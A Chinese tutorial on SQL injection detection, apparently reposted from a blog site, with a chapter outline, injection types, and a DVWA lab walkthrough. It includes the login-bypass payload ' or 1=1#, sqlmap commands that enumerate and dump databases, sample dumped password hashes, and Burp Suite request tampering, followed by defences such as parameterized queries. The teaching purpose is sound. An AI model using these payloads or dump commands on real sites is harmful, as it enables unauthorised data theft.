SQL注入漏洞检测

预计更新
  1. SQL注入概述
    1.1 SQL注入攻击概述
    1.2 SQL注入漏洞分类
    1.3 SQL注入攻击的危害

  2. SQLMap介绍
    2.1 SQLMap简介
    2.2 SQLMap安装与配置
    2.3 SQLMap基本用法

  3. SQLMap进阶使用
    3.1 SQLMap高级用法
    3.2 SQLMap配置文件详解
    3.3 SQLMap插件的使用

  4. SQL注入漏洞检测
    4.1 SQL注入漏洞检测基础
    4.2 SQL注入漏洞检测工具
    4.3 SQL注入漏洞检测实战

  5. SQL注入漏洞利用
    5.1 SQL注入漏洞利用介绍
    5.2 SQLMap利用SQL注入漏洞
    5.3 SQL注入漏洞利用实战

  6. SQL注入防御
    6.1 SQL注入防御基础
    6.2 防御SQL注入的最佳实践
    6.3 使用SQLMap测试防御效果

  7. SQL注入绕过技术
    7.1 SQL注入绕过技术介绍
    7.2 绕过WAF
    7.3 绕过输入过滤

  8. SQL注入攻击的后果
    8.1 数据泄露
    8.2 数据篡改
    8.3 数据删除

  9. SQL注入漏洞的利用场景
    9.1 SQL注入漏洞的利用场景介绍
    9.2 电商网站SQL注入漏洞利用实战
    9.3 CMS网站SQL注入漏洞利用实战

  10. SQL注入漏洞的漏洞挖掘与利用
    10.1 SQL注入漏洞的漏洞挖掘方法
    10.2 SQL注入漏洞利用的高级技巧
    10.3 SQL注入漏洞利用的未来趋势

SQL注入漏洞检测基础

SQL注入漏洞是一种常见的安全漏洞,攻击者可以通过注入恶意的SQL语句来获取敏感信息、篡改数据、甚至控制整个数据库。渗透测试工程师需要掌握SQL注入漏洞的检测技术,以便在测试中及时发现和利用漏洞。本文将从渗透测试工程师的角度,详细介绍SQL注入漏洞的检测基础,包括常见的注入点、注入方式、手工注入和自动化注入等。

  1. 常见的注入点

SQL注入漏洞通常存在于Web应用程序的数据库查询语句中。以下是一些常见的注入点:

  • GET参数
  • POST参数
  • Cookie
  • HTTP头部信息
  • 用户名和密码

在进行渗透测试时,需要对这些注入点进行测试,以发现潜在的SQL注入漏洞。

  1. 常见的注入方式

SQL注入漏洞可以通过不同的方式进行利用。以下是一些常见的注入方式:

  • 基于错误的注入:攻击者可以利用数据库返回的错误信息来推断出数据库结构和数据。
  • 基于联合查询的注入:攻击者可以通过联合查询来获取额外的数据。
  • 基于布尔盲注的注入:攻击者可以通过不断猜测来推断出数据库中的数据。
  • 基于时间盲注的注入:攻击者可以通过延长查询时间来推断出数据库中的数据。
  • 基于报错盲注的注入:攻击者可以通过在SQL语句中插入恶意代码来触发服务器返回错误信息。

在进行渗透测试时,需要熟悉这些注入方式,并根据实际情况选择合适的方式进行测试。

  1. 手工注入

手工注入是指通过手动修改URL或表单参数来测试SQL注入漏洞。以下是一个手工注入的例子:

假设目标网站的登录页面为http://example.com/login.php,其中包含用户名和密码两个输入框。我们可以通过在用户名输入框中输入以下内容来测试SQL注入漏洞:

' or 1=1#

这样会使查询语句变为:

SELECT * FROM users WHERE username='' or 1=1#' AND password='xxx'

其中,#表示注释掉后面的内容,使查询语句变为有效的语句。如果查询结果包含了所有用户,那么该网站就存在SQL注入漏洞。

手工注入需要对SQL语言有一定的了解,对于复杂的注入点和注入方式,手工注入可能会比较困难。

  1. 自动化注入

自动化注入是指使用自动化工具进行SQL注入漏洞的检测。自动化工具可以自动发现注入点和注入方式,快速地进行测试,并生成测试报告。以下是一些常见的自动化工具:

  • SQLMap:一款流行的自动化SQL注入工具,支持多种注入方式和多种数据库。
  • Havij:一款商业的自动化SQL注入工具,支持多种注入方式和多种数据库。
  • Burp Suite:一款常用的Web应用程序渗透测试工具,可以通过插件进行SQL注入漏洞的检测。

自动化注入可以快速地发现SQL注入漏洞,并生成详细的测试报告,但也存在一定的误报和漏报率。在使用自动化工具时,需要结合手工注入和其他测试技术进行综合分析。

  1. 防范措施

为了防范SQL注入漏洞,应该采取以下措施:

  • 输入验证:对于所有的输入参数,都应该进行验证和过滤,确保输入的内容符合预期。
  • 参数化查询:使用参数化查询可以防止SQL注入漏洞,参数化查询可以使得SQL语句和参数分开处理,避免恶意代码的注入。
  • 最小权限原则:数据库用户应该分配最小的权限,避免恶意用户对数据库进行操作。
  • 安全编码:编写安全的代码可以避免常见的安全漏洞,如SQL注入漏洞。
  1. 总结

SQL注入漏洞是一种常见的安全漏洞,渗透测试工程师需要掌握SQL注入漏洞的检测技术,以便在测试中及时发现和利用漏洞。常见的注入点包括GET参数、POST参数、Cookie、HTTP头部信息和用户名密码等,常见的注入方式包括基于错误的注入、基于联合查询的注入、基于布尔盲注的注入、基于时间盲注的注入和基于报错盲注的注入等。手工注入需要对SQL语言有一定的了解,自动化注入可以快速地发现SQL注入漏洞,并生成详细的测试报告。为了防范SQL注入漏洞,应该采取输入验证、参数化查询、最小权限原则和安全编码等措施。

SQL注入漏洞检测工具

SQL注入漏洞是一种常见的安全漏洞,攻击者可以通过注入恶意SQL语句来获取敏感信息、篡改数据、甚至控制整个数据库。为了及时发现和利用SQL注入漏洞,渗透测试工程师需要掌握SQL注入漏洞检测工具。本文将从渗透测试工程师的角度,详细介绍SQL注入漏洞检测工具,包括手动工具和自动化工具。

  1. 手动工具

手动工具是指通过手动修改URL或表单参数来测试SQL注入漏洞。以下是一些常见的手动工具:

  • SQL注入扫描器:SQL注入扫描器是一种基于Web的工具,可以快速地扫描Web应用程序中的SQL注入漏洞。这些工具通常会自动检测注入点,并尝试使用不同的注入方式进行攻击。一些流行的SQL注入扫描器包括Sqlmap、Havij等。例如,使用Sqlmap进行注入测试的命令如下:
sqlmap -u "http://example.com/index.php?id=1" --dbs
  • Burp Suite:Burp Suite是一种强大的Web应用程序渗透测试工具,可以手动测试SQL注入漏洞。通过Burp Suite的代理,渗透测试工程师可以捕获HTTP请求,并手动修改请求参数来测试注入漏洞。例如,可以通过Burp Suite的Intruder模块来测试SQL注入漏洞。
  1. 自动化工具

自动化工具是指使用专门的软件来自动扫描和测试SQL注入漏洞。以下是一些常见的自动化工具:

  • Sqlmap:Sqlmap是一种流行的自动化SQL注入工具,可以自动检测和利用SQL注入漏洞。Sqlmap支持多种注入方式和技术,可以自动检测注入点,并尝试使用不同的注入方式进行攻击。使用Sqlmap进行注入测试的命令如下:
sqlmap -u "http://example.com/index.php?id=1" --dbs
  • Acunetix:Acunetix是一种自动化Web应用程序安全测试工具,可以检测和利用SQL注入漏洞。Acunetix具有流行的漏洞数据库,并使用先进的技术来识别和利用SQL注入漏洞。

  • Nessus:Nessus是一种网络漏洞扫描器,可以自动扫描Web应用程序中的SQL注入漏洞。Nessus可以检测多种SQL注入漏洞,包括基于错误的注入、基于时间的注入等。

  1. SQL注入漏洞检测工具的使用技巧

虽然SQL注入漏洞检测工具可以帮助渗透测试工程师快速发现和利用SQL注入漏洞,但是也存在一些使用技巧和注意事项:

  • 手动测试:虽然自动化工具可以快速扫描和测试SQL注入漏洞,但是手动测试仍然是必要的。手动测试可以帮助渗透测试工程师理解Web应用程序的数据流和漏洞利用方式,并发现一些自动化工具可能无法检测到的漏洞。

  • 安全漏洞扫描:安全漏洞扫描是一种快速检测Web应用程序中存在的安全漏洞的方法。渗透测试工程师可以使用安全漏洞扫描工具来扫描Web应用程序中的SQL注入漏洞,并及时修复这些漏洞。

  • 注入点:注入点是指Web应用程序中可以进行SQL注入攻击的位置。渗透测试工程师需要仔细分析Web应用程序的参数和URL,并确定可能存在的注入点。

  • 注入方式:注入方式是指攻击者使用的SQL注入技术。常见的SQL注入技术包括基于错误的注入、基于时间的注入、联合查询注入等。渗透测试工程师需要熟悉这些注入方式,并使用相应的工具进行测试。

  • 数据库类型:不同的数据库类型可能存在不同的SQL注入漏洞。渗透测试工程师需要了解Web应用程序使用的数据库类型,并使用相应的工具进行测试。

  1. 示例

以下是一个使用Sqlmap检测SQL注入漏洞的示例:

步骤1:使用Sqlmap扫描目标URL,检测是否存在注入漏洞。

sqlmap -u "http://example.com/index.php?id=1" --dbs

步骤2:如果存在注入漏洞,则使用Sqlmap获取数据库信息。

sqlmap -u "http://example.com/index.php?id=1" -D database_name --tables

步骤3:获取表信息。

sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --columns

步骤4:获取列信息。

sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name -C column_name --dump

步骤5:获取数据信息。

通过以上步骤,攻击者可以利用SQL注入漏洞获取敏感信息、篡改数据、甚至控制整个数据库。

总结

SQL注入漏洞是一种常见的安全漏洞,攻击者可以通过注入恶意SQL语句来获取敏感信息、篡改数据、甚至控制整个数据库。为了及时发现和利用SQL注入漏洞,渗透测试工程师需要掌握SQL注入漏洞检测工具。本文介绍了手动工具和自动化工具,并提供了使用技巧和注意事项。渗透测试工程师可以根据实际需求,选择合适的工具和方法来发现和利用SQL注入漏洞。

SQL注入漏洞检测实战

为了更好地了解如何实际应用SQL注入漏洞检测工具,本文将从渗透测试工程师的角度,详细介绍SQL注入漏洞检测实战。我们将使用Sqlmap和Burp Suite这两个工具,演示如何发现和利用SQL注入漏洞。

  1. 环境搭建

在开始实战之前,我们需要搭建一个漏洞环境。本文将使用DVWA(Damn Vulnerable Web Application)作为漏洞环境。DVWA是一个用于漏洞测试的Web应用程序,包含多个漏洞,包括SQL注入漏洞。我们可以通过以下步骤来搭建DVWA环境:

  • 下载DVWA的源代码,可以从GitHub上下载:https://github.com/ethicalhack3r/DVWA

  • 将源代码解压到Web服务器根目录下。

  • 运行“DVWA/config/config.inc.php.dist”文件,并将文件名改为“DVWA/config/config.inc.php”。

  • 打开“DVWA/config/config.inc.php”文件,并将以下行的注释删除:

    $_DVWA[ ‘db_password’] = ‘p@ssw0rd’;
    $_DVWA[ ‘db_user’] = ‘root’;
    $_DVWA[ ‘db_database’] = ‘dvwa’;

这将允许我们使用默认的用户名和密码来登录DVWA。

  1. 使用Sqlmap检测SQL注入漏洞

Sqlmap是一个自动化的SQL注入工具,它可以检测和利用各种类型的SQL注入漏洞。我们可以使用Sqlmap来测试DVWA是否存在SQL注入漏洞。以下是使用Sqlmap进行SQL注入漏洞检测的步骤:

  • 打开终端,运行以下命令来启动Sqlmap:

    sqlmap -u http://localhost/DVWA/vulnerabilities/sqli/?id=1 --batch

其中,“-u”参数指定要测试的URL,“–batch”参数指定Sqlmap以“非交互式”模式运行。

  • Sqlmap将发送一系列HTTP请求,尝试检测SQL注入漏洞。如果Sqlmap检测到漏洞,它将显示漏洞的详细信息。以下是Sqlmap检测到SQL注入漏洞后的输出示例:

    [*] starting at 22:07:58

    [22:07:58] [INFO] testing connection to the target URL
    […]
    [22:08:02] [INFO] testing if the target URL is stable
    […]
    [22:08:04] [INFO] target URL is stable
    [22:08:04] [INFO] testing if GET parameter ‘id’ is dynamic
    [22:08:05] [INFO] confirming that GET parameter ‘id’ is dynamic
    [22:08:05] [INFO] GET parameter ‘id’ is dynamic
    [22:08:06] [INFO] heuristic (basic) test shows that GET parameter ‘id’ might be injectable
    [22:08:07] [INFO] testing for SQL injection on GET parameter ‘id’
    [22:08:07] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause’
    [22:08:08] [INFO] testing ‘Boolean-based blind - Parameter replace (original value)’
    [22:08:08] [INFO] testing ‘MySQL > 5.0.11 stacked queries (comment)’
    [22:08:08] [INFO] testing ‘PostgreSQL > 8.1 stacked queries (comment)’
    [22:08:08] [INFO] testing ‘Microsoft SQL Server/Sybase stacked queries (comment)’
    [22:08:09] [INFO] testing ‘Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)’
    [22:08:09] [INFO] testing ‘MySQL > 5.0.11 stacked queries (query SLEEP - comment)’
    [22:08:09] [INFO] testing ‘PostgreSQL > 8.1 stacked queries (query SLEEP - comment)’
    [22:08:09] [INFO] testing ‘Microsoft SQL Server/Sybase stacked queries (query SLEEP - comment)’
    [22:08:10] [INFO] testing ‘Oracle stacked queries (DBMS_LOCK.SLEEP - comment)’
    [22:08:10] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’
    [22:08:10] [INFO] testing ‘PostgreSQL > 8.1 time-based blind’
    [22:08:11] [INFO] testing ‘Microsoft SQL Server/Sybase time-based blind (IF)’
    [22:08:11] [INFO] testing ‘Oracle AND time-based blind’
    [22:08:12] [INFO] testing ‘Generic UNION query (NULL) - 1 to 10 columns’
    [22:08:12] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
    [22:08:12] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
    [22:08:13] [INFO] target URL appears to have 2 columns in query
    [22:08:13] [INFO] GET parameter ‘id’ is ‘Generic UNION query (NULL) - 1 to 10 columns’ injectable
    [22:08:13] [INFO] checking if the injection point on GET parameter ‘id’ is a false positive
    [22:08:13] [INFO] testing ‘MySQL UNION query (NULL) - 1 to 10 columns’
    [22:08:13] [INFO] checking if the injection point on GET parameter ‘id’ is a false positive
    [22:08:13] [INFO] GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]

  • Sqlmap将列出它检测到的所有漏洞。在本例中,Sqlmap检测到一个“Generic UNION query”漏洞,这意味着我们可以使用SQL注入攻击来检索数据库中的数据。我们可以按“y”继续测试其他漏洞,或按“n”结束测试。

  • 如果我们选择继续测试其他漏洞,Sqlmap将尝试使用其他技术来检测漏洞。例如,它可能尝试使用“时间盲注”技术来检测注入点是否存在。

  • 在测试过程中,Sqlmap将尝试使用各种技术来检测注入点。如果找到漏洞,Sqlmap将显示漏洞的详细信息,并提供各种攻击选项。例如,我们可以使用“–dump”选项来检索数据库中的数据,如下所示:

    sqlmap -u http://localhost/DVWA/vulnerabilities/sqli/?id=1 --batch --dump

  • Sqlmap将使用我们在前面步骤中找到的注入点来检索数据库中的数据。如果成功,Sqlmap将输出数据库中的所有表和列,以及每个列中的所有数据。以下是Sqlmap检索数据时的输出示例:

    Database: dvwa
    Table: users
    [2 entries]
    ±—±---------±---------------------------------+
    | id | username | password |
    ±—±---------±---------------------------------+
    | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
    | 2 | test | 098f6bcd4621d373cade4e832627b4f6 |
    ±—±---------±---------------------------------+

    Table: guestbook
    [1 entry]
    ±—±--------------------±---------------------+
    | id | name | comment |
    ±—±--------------------±---------------------+
    | 1 | John Smith | Hello, world! |
    ±—±--------------------±---------------------+

  • 在本例中,我们可以看到数据库中有两个用户,分别是admin和test,以及一个guestbook条目。

  1. 使用Burp Suite检测SQL注入漏洞

Burp Suite是一款非常强大的Web安全测试工具,它可以用于检测和利用各种类型的漏洞,包括SQL注入漏洞。以下是使用Burp Suite进行SQL注入漏洞检测的步骤:

  • 打开Burp Suite并配置浏览器代理。

  • 在浏览器中,访问DVWA的SQL注入漏洞页面,并输入一个随机的数字作为“id”参数值。我们可以使用类似于以下URL的URL来访问此页面:

    http://localhost/DVWA/vulnerabilities/sqli/?id=1

  • 在Burp Suite中,选择“Proxy”选项卡,然后单击“Intercept is on”按钮以停止拦截。

  • 在浏览器中,单击“Submit”按钮以发送请求。

  • 在Burp Suite中,选择“Proxy”选项卡,然后选择“Intercept”选项。这将允许我们检查请求并对其进行修改。

  • 在请求中,我们将看到类似于以下内容的内容:

    GET /DVWA/vulnerabilities/sqli/?id=1 HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Referer: http://localhost/DVWA/vulnerabilities/sqli/
    Cookie: PHPSESSID=2f8e14b1a5b4d4b4a4e4c4e4d4f4f4d

  • 在请求中,我们可以看到“id”参数的值为“1”。我们可以通过修改此值来测试SQL注入漏洞。例如,我们可以将参数值更改为“1’ or ‘1’='1”,这将强制应用程序将所有数据返回到我们的浏览器。

  • 在Burp Suite中,单击“Forward”按钮以发送修改后的请求。

  • 如果应用程序容易受到SQL注入攻击,则我们将在响应中看到错误或异常消息。例如,我们可能会看到以下响应:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '‘1’=‘1’ at line 1

  • 此响应表明应用程序容易受到SQL注入攻击,因为我们成功地将SQL注入字符串注入到应用程序中。

  • 在Burp Suite中,单击“Intercept is on”按钮以停止拦截。

  • 通过执行这些步骤,我们可以使用Burp Suite检测SQL注入漏洞并利用它们来攻击应用程序。

  1. 防止SQL注入攻击

SQL注入攻击是一种常见的Web应用程序安全漏洞,可以通过采取以下措施来防止此类攻击:

  • 使用参数化查询:使用参数化查询可以防止恶意用户将数据作为查询的一部分注入到数据库中。参数化查询是一种预编译的查询,其中查询使用占位符而不是直接将变量嵌入查询中。这使得恶意用户无法注入有害代码,因为查询已经预编译并且无法被更改。

  • 对输入进行验证和过滤:验证和过滤输入是防止SQL注入攻击的另一种方法。通过验证和过滤输入,可以确保输入数据是正确的,不包含任何恶意代码,并符合预期格式。

  • 限制数据库用户的权限:限制数据库用户的权限可以防止攻击者利用SQL注入漏洞来获取敏感信息或更改数据库中的数据。为了限制数据库用户的权限,应该只授予他们必要的权限来执行其工作,并确保他们无法访问不必要的数据。

  • 更新和升级软件:SQL注入漏洞通常是由于软件中的错误或漏洞而导致的。为了防止此类漏洞,应该定期更新和升级软件,并确保使用最新版本的软件。

  • 审查代码:审查代码可以帮助发现潜在的SQL注入漏洞,并确保应用程序的代码符合最佳实践。通过审查代码,可以确定是否存在代码中的漏洞,并采取适当的措施来修复它们。

  • 使用Web应用程序防火墙:Web应用程序防火墙可以检测和防止SQL注入攻击。Web应用程序防火墙是一种安装在Web服务器和应用程序之间的软件,用于监视和过滤HTTP流量。它可以检测和防止SQL注入攻击,并防止恶意用户利用此类漏洞来访问敏感信息或破坏数据库中的数据。

  1. 强化密码安全性

除了防止SQL注入攻击之外,还可以通过强化密码安全性来增强Web应用程序的安全性。以下是一些增强密码安全性的建议:

  • 强制使用复杂密码:通过强制用户使用复杂密码,可以防止攻击者利用弱密码猜测或破解密码。可以通过要求密码包含大写字母、小写字母、数字和特殊字符来实现这一点。

  • 实施密码策略:密码策略可以帮助确定密码的最小长度和过期时间。通过实施密码策略,可以确保用户使用强密码,并且每隔一段时间需要更改密码。

  • 存储密码的安全性:存储密码时,应使用安全的加密算法,并将其存储在安全的位置。可以使用哈希算法和盐来加密密码,以确保密码不会被破解或泄露。

  • 采用多因素身份验证:多因素身份验证可以增加密码安全性。通过要求用户提供使用密码外的其他验证因素,例如指纹识别、短信验证码或令牌,可以提高Web应用程序的安全性。

  • 提供密码重置功能:提供密码重置功能可以帮助用户恢复访问其账户。但是,应该确保密码重置功能是安全的,并且需要进行身份验证,以确保只有合法用户才能重置其密码。

通过采取这些措施,可以帮助增强密码安全性,并提高Web应用程序的安全性。需要注意的是,这些措施应该与其他安全措施结合使用,以确保Web应用程序得到充分的保护。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/213644.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring的IOC容器初始化流程

Spring的IOC容器初始化流程 IOC容器初始化在SpringApplication对象创建完毕执行run方法时执行refreshContext()时开始。 准备BeanFactory,设置其类加载器和environment等 执行BeanFactory后置处理器,扫描要放入容器的Bean信息,得到对应的Bea…

计算机网络常见的缩写

计算机网络常见缩写 通讯控制处理机(Communication Control Processor)CCP 前端处理机(Front End Processor)FEP 开放系统互连参考模型 OSI/RM 开放数据库连接(Open Database Connectivity)ODBC 网络操作系…

阿里云服务器租用价格分享,阿里云服务器热门配置最新活动价格汇总

在我们购买阿里云服务器的时候,1核2G、2核2G、2核4G、2核8G、4核8G、8核16G、8核32G等配置属于用户购买最多的热门配置,1核2G、2核2G、2核4G这些配置低一点的云服务器基本上能够满足绝大部分个人建站和普通企业用户建站需求,而4核8G、8核16G、…

Maven项目引入本地jar

Maven项目引入本地jar 1.对应maven模块项目中建lib目录,将jar放入进去 2.在对应的模块pom.xml中引入此依赖jar 3.在对应的maven-plugin插件打包的pom.xml中指定需要includeSystemScope为true的jar

AMEYA360:大唐恩智浦荣获 2023芯向亦庄 “汽车芯片50强”

2023年11月28日,由北京市科学技术委员会和北京市经济和信息化局指导、北京经济技术开发区管理委员会主办、盖世汽车协办的“芯向亦庄”汽车芯片大赛在北京亦庄成功闭幕。 在本次大赛中 大唐恩智浦的 电池管理芯片DNB1168 (应用于新能源汽车BMS系统) 凭卓越的性能及高…

SQL注入一般过程

实验:Vulnerability: SQL Injection(low) SQL注入一般过程 1.判断注入点 一般和数据库进行交互的位置 2.判断注入点类型 字符型判断: 1 报错 1 and 12 错误结果 1 and 11 正确结果 数字型判断: 1 报错 1 and 12…

【SpringBoot教程】SpringBoot 实现前后端分离的跨域访问(CORS)

作者简介:大家好,我是撸代码的羊驼,前阿里巴巴架构师,现某互联网公司CTO 联系v:sulny_ann(17362204968),加我进群,大家一起学习,一起进步,一起对抗…

【毕业季|进击的技术er】作为一名职场人,精心总结的嵌入式学习路线图

活动地址:毕业季进击的技术er 文章目录 0、作者介绍1、前言2、嵌入式基础必备知识2.1、学习内容2.2、学习建议2.3、学习资料 3、嵌入式入门篇——51单片机3.1、学习内容3.2、学习建议3.3、学习资料 4、STM32进阶篇4.1、学习内容4.2、学习建议4.3、学习资料 5、小而美…

印刷包装企业做什么认证才有优势

最近几年,外贸出口过程中,越来越多的印刷和包装企业被客户要求进行各类认证和审核,比如,产品印刷包装/吊牌等。他们已经意识到,印刷包装供应商对于整个供应链管理的重要性,尤其是那些明确标示了…

由pandas.loc引发的未知错误AttributeError: ‘str‘ object has no attribute ‘isna‘

由于data.loc[value]和 data[data.keyvalue] 这两者之间有一定的差异,第一种方式返回的可能是series,第二种方式返回的是dataframe,所以在做复杂条件筛选的的时候,可能会爆str相关的错误。 例如: account_instal[(ac…

嵌入式开发按怎样的路线学习较好?

嵌入式开发按怎样的路线学习较好? 在开始前我有一些资料,是我根据自己从业十年经验,熬夜搞了几个通宵,精心整理了一份「嵌入式从专业入门到高级教程工具包」,点个关注,全部无偿共享给大家!&…

mysql的行锁具体是怎么工作的

mysql行级锁是怎么工作的? 加锁的对象是索引,加锁的基本单位是 next-key lock。在能使用记录锁或者间隙锁就能避免幻读现象的场景下, next-key lock 就会退化成记录锁或间隙锁。 锁的范围,总结一下就是,对于唯一索引&a…

张驰咨询:掌握流程改进的关键,深入了解六西格玛绿带培训

尊敬的读者,当您寻求提升个人能力,加强企业流程管理时,六西格玛绿带培训无疑是您的不二选择。本文将带您深入了解六西格玛绿带培训的核心内容、必备工具和实际案例,以助您在职业生涯中一帆风顺。 六西格玛绿带培训主要针对中层管…

C++- 格式化输出

1.常规–格式化输出 %d //整型输出 %ld //长整型输出 %o //以八进制数形式输出整数 %x //以十六进制数形式输出整数,或输出字符串的地址 %u //以十进制数输出unsigned型数据(无符号数)注意&…

element 点击button弹出图片 运用自带隐藏的图片查看器el-image-viewer浏览图片

最近在开发一个图片预览效果,由于位置有限,没有原始的缩略图。 看了下elementUI的文档,基本都是需要有缩略图的情况下,才能有放大的图。 所以网上找了下有个不错的方案,其实也是elementUI自带的功能,只是AP…

论文查重怎么找到需要更改的【详细说明】

大家好,今天来聊聊论文查重怎么找到需要更改的,希望能给大家提供一点参考。 以下是针对论文重复率高的情况,提供一些修改建议和技巧: 论文查重怎么找到需要更改的 论文查重是保证学术诚信和提高论文质量的重要环节小发猫伪原创。…

班级管理的重要性

班级管理,就像是一座桥,连接着学生和老师,它的重要性不言而喻。 营造良好的学习氛围 班级管理不仅仅是维护秩序,更是营造一个积极向上的学习氛围。一个好的班级管理,能让学生更加专注于学习,提高学习效率。…

Linux上的MAC地址欺骗

Linux上的MAC地址欺骗 1、查看mac地址法1:ifconfig法2:ip link show 2、临时性改变 MAC 地址法1:使用iproute2工具包法2:使用macchanger工具 3、永久性改变 MAC 地址3.1 在 Fedora、RHEL下实践3.2 在 Debian、Ubuntu、Linux Mint下…

人工智能革命近在咫尺:利用数据实现社会影响、增强决策力和新机遇

人工智能(AI)是指由计算机系统或机器执行的智能行为,如学习、推理和解决问题。人工智能不再是科幻小说中的事物,而是已经成为我们日常生活中不可或缺的一部分。从语音助手到自动驾驶汽车,从人脸识别到机器翻译&#xf…

数据结构之----原码、反码、补码

数据结构之----原码、反码、补码 什么是原码? 原码:我们将数字的二进制表示的最高位视为符号位,其中 0 表示正数,1 表示负数,其余位表示数字 的值。 什么是反码? 反码:正数的反码与其原码相…